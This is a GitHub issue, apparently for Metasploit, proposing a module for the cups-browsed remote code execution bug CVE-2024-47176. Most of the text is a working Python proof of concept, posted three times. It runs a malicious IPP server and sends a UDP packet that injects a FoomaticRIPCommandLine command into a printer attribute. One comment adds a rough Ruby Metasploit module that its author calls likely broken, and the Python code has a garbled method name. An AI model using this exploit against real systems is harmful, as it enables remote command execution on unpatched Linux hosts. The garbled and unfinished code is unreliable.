Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2024-47176 (CUPS-browsed RCE) #19509

Open
h00die opened this issue Sep 27, 2024 · 4 comments
Open

CVE-2024-47176 (CUPS-browsed RCE) #19509

h00die opened this issue Sep 27, 2024 · 4 comments
Assignees
Labels
suggestion-module New module suggestions

Comments

@h00die
Copy link
Contributor

h00die commented Sep 27, 2024

Summary

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)

Basic example

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation

Remote command execution on many linux systems

@h00die h00die added the suggestion-module New module suggestions label Sep 27, 2024
@h00die
Copy link
Contributor Author

h00die commented Sep 27, 2024

Here's some generated code from that python code to metasploit module. Likely broken beyond belief and will need a bunch of rewrite, so consider it a pseudo guide:

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::TcpServer
  include Rex::Text

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malicious IPP Printer Exploit',
      'Description'    => %q{
        This module exploits a vulnerability in an IPP server by creating a malicious IPP printer
        that sends a malicious command when a client connects to it.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Your Name' ], # Add your name here
      'Platform'       => 'unix',
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'URL', 'https://your-reference-url.com' ]
        ],
      'DisclosureDate' => 'Sep 19 2024'
    ))

    register_options([
      OptString.new('TARGET_HOST', [true, 'The target IP', '']),
      OptInt.new('TARGET_PORT', [true, 'The target IPP port', 631]),
      OptString.new('LOCAL_HOST', [true, 'The local host to bind the IPP server', '0.0.0.0']),
      OptInt.new('LOCAL_PORT', [true, 'The local port to bind the IPP server', 12345])
    ])
  end

  def printer_list_attributes(command)
    {
      'printer-uri-supported' => ["http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"],
      'uri-authentication-supported' => ['none'],
      'printer-name' => ['Malicious Printer'],
      'printer-info' => ['Malicious Printer Info'],
      'printer-make-and-model' => ['HP 0.00'],
      'printer-state' => [3], # Printer is idle
      'operations-supported' => [2, 4, 5, 9, 11],
      'printer-privacy-policy-uri' => ['https://www.google.com/' \
                                      "\n*FoomaticRIPCommandLine: \"#{command}\"" \
                                      "\n*cupsFilter2 : \"application/pdf application/vnd.cups-postscript 0 foomatic-rip\""]
    }
  end

  def on_client_connect(client)
    print_good("Target connected, sending malicious payload...")

    # Simulating a response with attributes
    command = "echo 1 > /tmp/I_AM_VULNERABLE"
    attributes = printer_list_attributes(command)

    # Create IPP response (simplified, normally you'd create an actual IPP protocol response)
    response = {
      version: '1.1',
      status_code: 200,
      request_id: rand(1000..9999),
      attributes: attributes
    }

    # Send response
    client.put(serialize_ipp_response(response))
    client.close
  end

  def serialize_ipp_response(response)
    # This is a placeholder. In a real exploit, you'd serialize the IPP response properly
    "IPP Response: #{response.inspect}"
  end

  def run
    print_status("Starting malicious IPP server on #{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}...")
    exploit_server.start
  end

  def send_browsed_packet(target_ip, target_port)
    print_status("Sending UDP packet to #{target_ip}:#{target_port}...")
    
    printer_type = 0x00
    printer_state = 0x03
    printer_uri = "http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"
    printer_location = 'Office HQ'
    printer_info = 'Malicious Printer'

    message = "#{printer_type} #{printer_state} #{printer_uri} \"#{printer_location}\" \"#{printer_info}\""

    udp_sock = UDPSocket.new
    udp_sock.send(message, 0, target_ip, target_port)
    udp_sock.close
  end

  def exploit
    # Start the malicious IPP server
    run

    # Send UDP packet to the target
    send_browsed_packet(datastore['TARGET_HOST'], datastore['TARGET_PORT'])

    print_status("Waiting for target connection...")
    while true
      Rex::ThreadSafe.sleep(1)
    end
  end
end

@smcintyre-r7
Copy link
Contributor

This is in progress courtesy of @remmons-r7 🎉

@log4gin
Copy link

log4gin commented Sep 28, 2024

Summary

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)

Basic example

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation

Remote command execution on many linux systems

maybe with some error .

def ](self, req, _psfile):

(>﹏<)

@CtrlAltDelet
Copy link

Summary 概括

New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)针对 Linux CUPS 浏览的服务利用 9.9 CVE 的新模块(据说 OSX 和 Windows CVE 也会推出,因此这可能适合为其创建库)

Basic example 基本示例

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538
Contains python code: 包含python代码:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Motivation 动机

Remote command execution on many linux systems在许多 Linux 系统上远程执行命令

maybe with some error .也许有一些错误。

def ](self, req, _psfile):

(>﹏<)

gaodinglema

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
suggestion-module New module suggestions
Projects
Status: In Progress
Development

No branches or pull requests

5 participants